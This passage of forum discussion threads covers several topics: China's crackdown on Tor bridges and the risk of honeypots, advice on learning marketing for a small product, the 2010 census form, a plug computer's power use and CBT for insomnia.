so you can see exactly what's required. The checklist program has made it easier for new employees to keep track of the tasks (and is easier for many people to follow.)

</comment></comment></comment><comment><USER19> Not far different from the name of our list tracker - [http://youresam.team- duck.com/listomania/](http://youresam.team-duck.com/listomania/)

<comment><USER24> Not far different from the name of a Phoenix song [https://www.youtube.com/watch?v=uF3reVVUbio](https://www.youtube.com/watch?v=uF3reVVUbio)

<comment><USER25> [https://en.wikipedia.org/wiki/Lisztomania](https://en.wikipedia.org/wiki/Lisztomania)

 _In 1839 Liszt began an extensive tour of Europe, which he continued for the next eight years. This period was Liszt 's most brilliant as a concert pianist and he received many honours and much adulation during his tours. Scholars have called these years a period of "transcendental execution" for Liszt. During this period, the first reports of intense responses from Liszt's fans appeared, which became referred to as Lisztomania._</comment></comment></comment>


China Cracks Down on Tor Anonymity Network - <AUTHOR> http://www.technologyreview.com/web/23736/?a=f

<comment><USER2> I would be extremely cautious about connecting to these interim hosts that provide access to the rest of the Tor network.

If I were a government bent on surveillance, the first thing I would do after blacklisting legitimate hosts would be to publicize my own malicious connection points. Here, little bee, have some honey.

<comment><USER3> Honeypots attract bears, not bees. Bees make the honey.

<http://images.google.com/images?q=honeypot+bear>

<comment><USER2> I might very well be wrong about that, my knowledge of English idioms can be lacking at times.

However, in my experience bees are attracted to sugary material like honey even though they themselves make it. And a Google image search returns many results as well: <http://images.google.com/images?q=honeypot+bee>

<comment><USER4> Not to skew your point because indeed bees are attracted to honey but that image search has less meaning as many honeypots have bees on them while traditionaly bears are shown as being attracted to honey and therefore honeypots.

</comment></comment></comment></comment><comment><USER5> Hmm... I've used Tor in the past when working from China. This could sort of suck. It was dog slow but sometimes the only way to gain access.

FYI I used it to access sites that were blocked by the great firewall for no conceivable reason (like pbworks.com and my own personal dev server).

</comment><comment><USER6> I surprised that Chinese hackers don't try to find some way to DDOS their own government. It'll probably be like a proletariat revolt. You can only mess with people's internet so long before they'll start striking back.

I think its interesting how TOR is trying to work on realtime bridge connections with IP address distributed through Twitter. Yet another great realtime application for Twitter.

<comment><USER7> The GFW is implemented on the backbone Internet of China, you are suggesting taking down the whole country's network.

Also there are thousands 'cyberpolice' for each province and city lurking on public Internet every hour looking for possible crimes, it's hard to organize an effective attack.

</comment></comment><comment><USER8> Sometimes I wonder if at some point there are diminishing returns in the prospect of censorship. Even if the chinese government puts vast amounts of resources behind censoring the 10-15 thousand users of the Tor network, they have a much larger population to worry about and those users are often technically competent enough to circumvent the attempts at censorship by the chinese government.</comment>


Ask HN: How do I learn marketing? - <AUTHOR> I have a $2,000/month product, that is almost passive. It's a good income, however, I believe the product can reach a larger audience.
I don't do any marketing, I don't even have an idea how large the audience is, or how much I should charge.
So are there are any good resources to learn marketing and seo that works? <comment><USER2> My favourite sites for this, which focus on building and marketing niche sites:

[http://empireflippers.com](http://empireflippers.com)

[http://www.smartpassiveincome.com](http://www.smartpassiveincome.com)

</comment><comment><USER3> I would recommend two websites, econsultancy.com and moz.com. They both had a tonne of resources and you can get up to speed pretty quickly with marketing if you apply yourself.

</comment><comment><USER4> I studied marketing (with an emphasis on e-commerce) at Uni. In a professional capacity I've put together and executed campaigns for various online and offline businesses.

Tl;dr - Start by mimicking your competitors (or the next best thing), test whatever you do, and document whatever you do. If you're looking for a book I'd check out Steve Blank's "The Four Steps to the Epiphany," which contains useful worksheets, including one to develop channel strategy and pricing model. You can preview the first few chapters of this book for free at Stanford's website [1]. An aside: Blank also published a sequel to this book called, "The Startup Owner's Manual," which I haven't read, but which I've heard includes updated and electronic versions of the worksheets [2].

Marketing is similar to engineering in the sense that you need well-honed problem solving skills if you want to drive predictable and repeatable results. The process by which you achieve these results will vary depending upon your product, your competitors (if you have competitors -- or substitutes or compliments, if you don't), your target market, your industry (or industry segment), the economic climate, the tools at your disposal, among other things.

More concretely here are a few things I like to keep in mind when planning and executing a campaign:

1\. Quoting Stravinsky, "Lesser artists borrow; great artists steal."

If you're not first to market study your competitors. Become their customer. Find out how they market to their customers. Hypothesize what might [be|not be] working for them. Mimic what you think might work.

If you /are/ first to market use the above approach to study complimentary products or services, or substitutes.

2\. Always be testing

Once you've found a promising idea, test it. Ideally tests would achieve statistical significance, but this is not always possible. Furthermore, commit yourself to multiple tests (e.g. A/B tests, multivariate tests), but don't be afraid to trust your gut if something is obviously [working|not working].

Use whatever analytics tools are appropriate for the job and create reports for yourself based on these data (e.g. Google AdWords, Optimizely, etc.). See below for more on the latter half of this point.

3\. Keep data organized

Have a written plan when you begin. And think of marketing your product like you would the code base for a well-written and long-lasting program. Comment your steps along the way so your "future self" will know exactly how you achieved certain results. (Note: documenting what didn't work can be as important as documenting what did (think of a bug tracker as an analogy).)

In essence, your marketing documentation and data should serve as a compendium of what worked and didn't work so you can build on successes and prevent unnecessary mistakes. And like code comments it can help bring someone else up to speed if your product is successful and you add to the team.

Links: [1] [http://www.stanford.edu/group/e145/cgi- bin/winter/drupal/upl...](http://www.stanford.edu/group/e145/cgi- bin/winter/drupal/upload/handouts/Four_Steps.pdf) [2] [http://www.stevenblank.com/startup_index_qty.html](http://www.stevenblank.com/startup_index_qty.html)</comment>


United States Census 2010 Form Questions - <AUTHOR> http://2010.census.gov/2010census/how/interactive-form.php

<comment><AUTHOR> Noted on this online guide is that categories of "race" have been asked about on the decennial census since 1790 (although the categories used on the Census have changed over the decades).</comment>


Plug in computer. - <AUTHOR> http://www.plugcomputer.org/index.php

<comment><USER2> 19W though, unless I misunderstand the spec. Fit PC 2 takes 10W and is more powerful (though it is more expensive and doesn't have the form factor).</comment>


Cognitive Behavioral Therapy for Insomnia - <AUTHOR> https://www.sleepedy.com/cbt-for-insomnia/ <comment><USER2> Interesting, I've never heard of CBT being used for insomnia. Seems like the method has been used for quite a while too.</comment>